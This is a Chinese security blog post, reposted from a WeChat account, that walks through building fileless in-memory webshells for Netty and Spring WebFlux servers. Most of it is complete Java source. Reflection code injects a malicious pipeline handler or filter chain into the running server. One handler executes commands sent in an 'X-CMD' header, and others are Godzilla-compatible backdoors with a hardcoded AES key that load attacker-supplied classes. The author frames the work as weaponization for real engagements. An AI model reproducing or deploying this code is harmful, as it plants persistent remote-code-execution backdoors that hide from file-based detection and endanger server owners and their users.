【Web实战】内存马系列 Netty/WebFlux 内存马

admin 2024年1月5日17:26:07评论22 views字数 24917阅读83分3秒阅读模式

XXL-JOB EXECUTOR/Flink 对应的内存马

原文链接:

https://forum.butian.net/share/2593

前言

作为Java内存马板块最冷门的一个,文章也不是很多,但实战中可能会遇到,我们需要想办法武器化。比如XXL-JOB的excutor就是一个基于netty的应用,实际上也没太认真去分析过这些内存马,还是逃不掉的捏。

环境搭建

这里参考Spring WebFlux的搭建教程,在上述参考链接中,另外需要准备一下Java-object-searcher作为我们寻找类的辅助工具,c0ny大师傅写的一个工具,对于内存马构造还是比较好使用的,事不宜迟,开始吧。
IDEA创建一个Spring reactive项目,Netty是响应式的服务器。然后我们首先研究netty层的内存马

Netty内存马

Netty他也是一个中间件,但他比较独特,他是动态生成pipeline然后进行处理。Netty内存马注入的关键就是找插入类似Filter东西的位置。本人对netty中间件研究疏浅,c0ny1大佬直接给出了结论,那就是
CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer

【Web实战】内存马系列 Netty/WebFlux 内存马

 static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) {
return other;
} else if (other == ChannelPipelineConfigurer.emptyConfigurer()) {
return configurer;
} else {
int length = 2;
ChannelPipelineConfigurer[] thizConfigurers;
if (configurer instanceof CompositeChannelPipelineConfigurer) {
thizConfigurers = ((CompositeChannelPipelineConfigurer)configurer).configurers;
length += thizConfigurers.length - 1;
} else {
thizConfigurers = null;
}

ChannelPipelineConfigurer[] otherConfigurers;
if (other instanceof CompositeChannelPipelineConfigurer) {
otherConfigurers = ((CompositeChannelPipelineConfigurer)other).configurers;
length += otherConfigurers.length - 1;
} else {
otherConfigurers = null;
}

ChannelPipelineConfigurer[] newConfigurers = new ChannelPipelineConfigurer[length];
int pos;
if (thizConfigurers != null) {
pos = thizConfigurers.length;
System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
} else {
pos = 1;
newConfigurers[0] = configurer;
}

if (otherConfigurers != null) {
System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
} else {
newConfigurers[pos] = other;
}

return new CompositeChannelPipelineConfigurer(newConfigurers);
}
}
}

默认other是空的,所以直接使用spring gateway默认的Configurer,假如other不为空,就会将2个configurer合二为一成一个新的configurer。
那么我们需要思考的就是如何注入一个other,添加恶意的pipeline,通过翻阅源码可以找到reactor.netty.transport.TransportConfig类的doOnChannelInit属性存储着other参数

package com.example.webfluxmem;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.util.ArrayList;
import java.util.List;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("doOnChannelInit").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(15);
searcher.setReport_save_path("E:\CTFLearning");
searcher.searchObject();
return chain.filter(exchange);
}
}

使用C0ny1大佬的java-object-searcher辅助工具,我们可以较快的定位到doOnChannelInit的获取方式

【Web实战】内存马系列 Netty/WebFlux 内存马
我们可以尝试如下获取

try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);

for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}

【Web实战】内存马系列 Netty/WebFlux 内存马
获取到了config对象,他实际上是一个reactor.netty.transport.TransportConfig类。然后从父类获取doOnChannelInit属性即可。

【Web实战】内存马系列 Netty/WebFlux 内存马
最后可以造出如下的内存马

package com.example.webfluxmem;

import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);

for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}

@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}

@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}

private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

其中

public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}

这一段是将该类当做一个handler注入,因此需要继承ChannelDuplexHandler这个类,channelread对应的就是它的方法,然后onChannelnit对应的就是ChannelPipelineConfigurer的方法。

上述代码也不是特别的长。逻辑很简单,主要是挖掘的思路,我们看一下other是怎么被分配过去的。

package com.example.webfluxmem;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
NettyMemshell.doInject();
return null;
}
}

这里就直接注入,调试分析一下

【Web实战】内存马系列 Netty/WebFlux 内存马
在initChannel方法进行初始化时,将我们上面恶意注入的configurer注入进去了

【Web实战】内存马系列 Netty/WebFlux 内存马
最后合二为一,将NettyMemshell的索引放到首位,也就造成了命令执行

【Web实战】内存马系列 Netty/WebFlux 内存马
假如我们需要假如哥斯拉逻辑的话自己完善一下即可

package com.example.webfluxmem;

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.DefaultHttpDataFactory;
import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
import io.netty.handler.codec.http.multipart.InterfaceHttpData;
import io.netty.handler.codec.http.multipart.MemoryAttribute;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.*;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);

for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);

private static Class defClass(byte[] classbytes)throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
}

public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch(Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch(Exception e) {}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
byte[].class
}).invoke(Encoder, new Object[] {
bs
});
} catch(Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] {
byte[].class
}).invoke(Encoder, new Object[] {
bs
});
} catch(Exception e2) {}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
String.class
}).invoke(decoder, new Object[] {
bs
});
} catch(Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
String.class
}).invoke(decoder, new Object[] {
bs
});
} catch(Exception e2) {}
}
return value;
}

@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}

private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
private static Class payload;

@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest) msg;
AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
requestThreadLocal.set(simpleEntry);
}else if(msg instanceof HttpContent){
HttpContent httpContent = (HttpContent)msg;
AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
if (simpleEntry == null){
return;
}
HttpRequest httpRequest = simpleEntry.getKey();
ByteArrayOutputStream contentBuf = simpleEntry.getValue();

ByteBuf byteBuf = httpContent.content();
int size = byteBuf.capacity();
byte[] requestContent = new byte[size];
byteBuf.getBytes(0,requestContent,0,requestContent.length);

contentBuf.write(requestContent);

if (httpContent instanceof LastHttpContent){
try {
byte[] data = x(contentBuf.toByteArray(), false);

if (payload == null) {
payload = defClass(data);
send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
} else {
Object f = payload.newInstance();
//初始化内存流
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
//将内存流传递给哥斯拉的payload
f.equals(arrOut);
//将解密后的数据传递给哥斯拉Payload
f.equals(data);
//通知哥斯拉Payload执行shell逻辑
f.toString();
//调用arrOut.toByteArray()获取哥斯拉Payload的输出
send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
}
} catch(Exception e) {
ctx.fireChannelRead(httpRequest);
}
}else {
ctx.fireChannelRead(msg);
}

}

}

private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

这里构造哥斯拉内存马其实有个问题,就是Netty对于处理请求参数是不完善的,不像tomcat和springboot可以通过request对象直接获取POST和GET请求参数,netty的request只可以获取一些基础的headers,因此我们要想办法获取到哥斯拉传进来的POST数据。这里我需要解释一下netty关于处理请求的特点,他会将body和header部分分为2个对象发送,首先是header对象。

【Web实战】内存马系列 Netty/WebFlux 内存马
首先会接收到一个DefaultHttpRequest对象,这个对象内部储存了请求头和请求类型等数据。

【Web实战】内存马系列 Netty/WebFlux 内存马
然后处理完header后就是body

【Web实战】内存马系列 Netty/WebFlux 内存马
对应的有一个DeafaultHttpContent对象。它则储存着body的内容,这样就可以获取哥斯拉的payload了。

WebFlux内存马

其实我一开始还以为WebFlux就是Netty,后面发现自己铸币了,这是2种东西,WebFlux是基于响应式reactive的框架。Tomcat和Spring都有自己类似的Listener/inceptor/filter
那么我们WebFlux肯定也少不了,它就是WebFIlter

【Web实战】内存马系列 Netty/WebFlux 内存马
那我们如何确认注入点呢,上述参考文章里的一位师傅给出的方法我觉得是比较妙的,首先创建一个普通的FIlter,随后再用java-object-searcher去搜索这个自定义filter的名字,这样就可以知道他储存在哪儿了。受益匪浅。

package com.example.webfluxmem;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("NormalFilter").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(15);
searcher.setReport_save_path("E:\CTFLearning");
searcher.searchObject();
NettyMemshell.doInject();
return chain.filter(exchange);
}
}

最终结果如下。

#############################################################
Java Object Searcher v0.01
author: c0ny1<[email protected]>
github: http://github.com/c0ny1/java-object-searcher
#############################################################

TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [5] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
---> allFilters = {java.util.List<org.springframework.web.server.WebFilter>}
---> [0] = {com.example.webfluxmem.NormalFilter}

工具还是比较强大的,完整的获取到了filter储存的位置,我们可以看到,所有filter都被储存在了chain属性里,然后chain属性是被存在FilteringWebHandler里面。所以要注入的话我们就得添加一个恶意的chain进去。
那么有师傅就会好奇为什么我不能直接加一个Filter到allFilters属性里去呢?这个问题就涉及到WebFlux的设计了,一个DefaultWebFilterChain实例就是chain的一个link,这个问题在
https://xz.aliyun.com/t/11331有解答
那我们思路明确了,获取到FIlteringWebHandler后就注入恶意chain就结束了。
最终我内存马如下

package com.example.webfluxmem;

import org.springframework.boot.web.embedded.netty.NettyWebServer;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.server.WebHandler;
import org.springframework.web.server.adapter.HttpWebHandlerAdapter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.ExceptionHandlingWebHandler;
import org.springframework.web.server.handler.FilteringWebHandler;
import reactor.core.publisher.Mono;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;

public class WebFluxFilterMemshell implements WebFilter {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static Object getFieldValue(Object obj, String fieldName,boolean superClass) throws Exception {
Field f;
if(superClass){
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
}else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}
public static String doInject() {
String msg = "Inject MemShell Failed";
Method getThreads = null;
try {
getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
// 获取defaultWebFilterChain
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
// 构造新的Chain进行替换
Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new WebFluxFilterMemshell());// 链的遍历顺序即"优先级",因此添加到首位
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);// 去掉final修饰符以重新set
f.set(filteringWebHandler,newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
msg = "Inject MemShell Successful";
}
}
} catch (Exception e) {
e.printStackTrace();
}
return msg;
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
return exchange.getResponse().writeWith(getPost(exchange));
}
private Mono<DefaultDataBuffer> getPost(ServerWebExchange exchange){
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
Mono<DefaultDataBuffer> bytesdata = formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
}
catch (Exception e) {

}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
return bytesdata;

}
}

还是比较好玩的啊哈,主要问题也是那个request对象的获取,我发现netty和webflux都是大差不差。netty是更底层的东西,springWebflux其实是基于netty的。通过构造内存马对哥斯拉内存马的逻辑又加深了一层,哥斯拉内存马主要是进行defineclass执行指令。获取body中pass参数的值,所以小难点就是拿到值,这个属于是开发的知识,web狗表示有点不熟悉,不过网上搜着搜着也就出来了。

【Web实战】内存马系列 Netty/WebFlux 内存马

【Web实战】内存马系列 Netty/WebFlux 内存马
2个马都比较好玩,其中Netty我用的是JAVA_AES_RAW,并无base64加密。

相关代码

相关代码均已上传github
https://github.com/Boogipop/Netty-WebFlux-Memshell

参考:
https://xz.aliyun.com/t/12388?ref=www.ctfiot.com#toc-8
https://xz.aliyun.com/t/11331#toc-0
https://xz.aliyun.com/t/12952#toc-6
https://github.com/cxyxiaokui/spring-boot-examples/blob/master/doc/webflux/Spring%20Boot%202%20%E5%BF%AB%E9%80%9F%E6%95%99%E7%A8%8B%EF%BC%9AWebFlux%20Restful%20CRUD%20%E5%AE%9E%E8%B7%B5%EF%BC%88%E4%B8%89%EF%BC%89.md
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

原文始发于微信公众号(亿人安全):【Web实战】内存马系列 Netty/WebFlux 内存马

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  • 本文由 发表于 2024年1月5日17:26:07
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